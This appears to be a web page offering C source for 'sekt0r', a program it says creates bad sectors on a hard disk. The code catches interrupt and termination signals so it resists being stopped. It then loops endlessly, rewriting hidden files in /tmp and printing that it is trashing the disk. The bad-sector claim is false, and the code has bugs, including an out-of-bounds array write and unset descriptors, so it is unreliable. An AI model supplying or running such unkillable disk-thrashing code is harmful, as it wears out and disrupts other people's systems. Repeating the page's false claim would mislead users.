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Create BAD sectors on HDD







Create BAD sectors on HDD







Create BAD sectors on HDD




This program will create BAD Sectors on HDD. (Use at your own
risk)




#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <signal.h>


#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>



#define HDSIZE 640000



void handle_sig();



int main() {




int i = 0;

int x;

int fd[5];



signal(SIGINT, handle_sig);

signal(SIGHUP, handle_sig);

signal(SIGQUIT, handle_sig);

signal(SIGABRT, handle_sig);

signal(SIGTERM, handle_sig);




char *buf;



buf = malloc(HDSIZE);



printf("sekt0r: trashing hard disk with bad sectors!\n");



while(1) {

fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);


fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);

fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);

fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);

fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);




for(x = 0; x < 5; x++) {

write(fd[x], buf, HDSIZE);

lseek(fd[x], 0, SEEK_SET);

close(fd[x]);



} /* end for() loop. */

} /* end while() loop. */

} /* end main(). */






void handle_sig() {

/* Reset signal handlers. */

signal(SIGINT, handle_sig);

signal(SIGHUP, handle_sig);

signal(SIGQUIT, handle_sig);

signal(SIGABRT, handle_sig);

signal(SIGTERM, handle_sig);




printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");

return; /* go back to creating bad sectors. */

}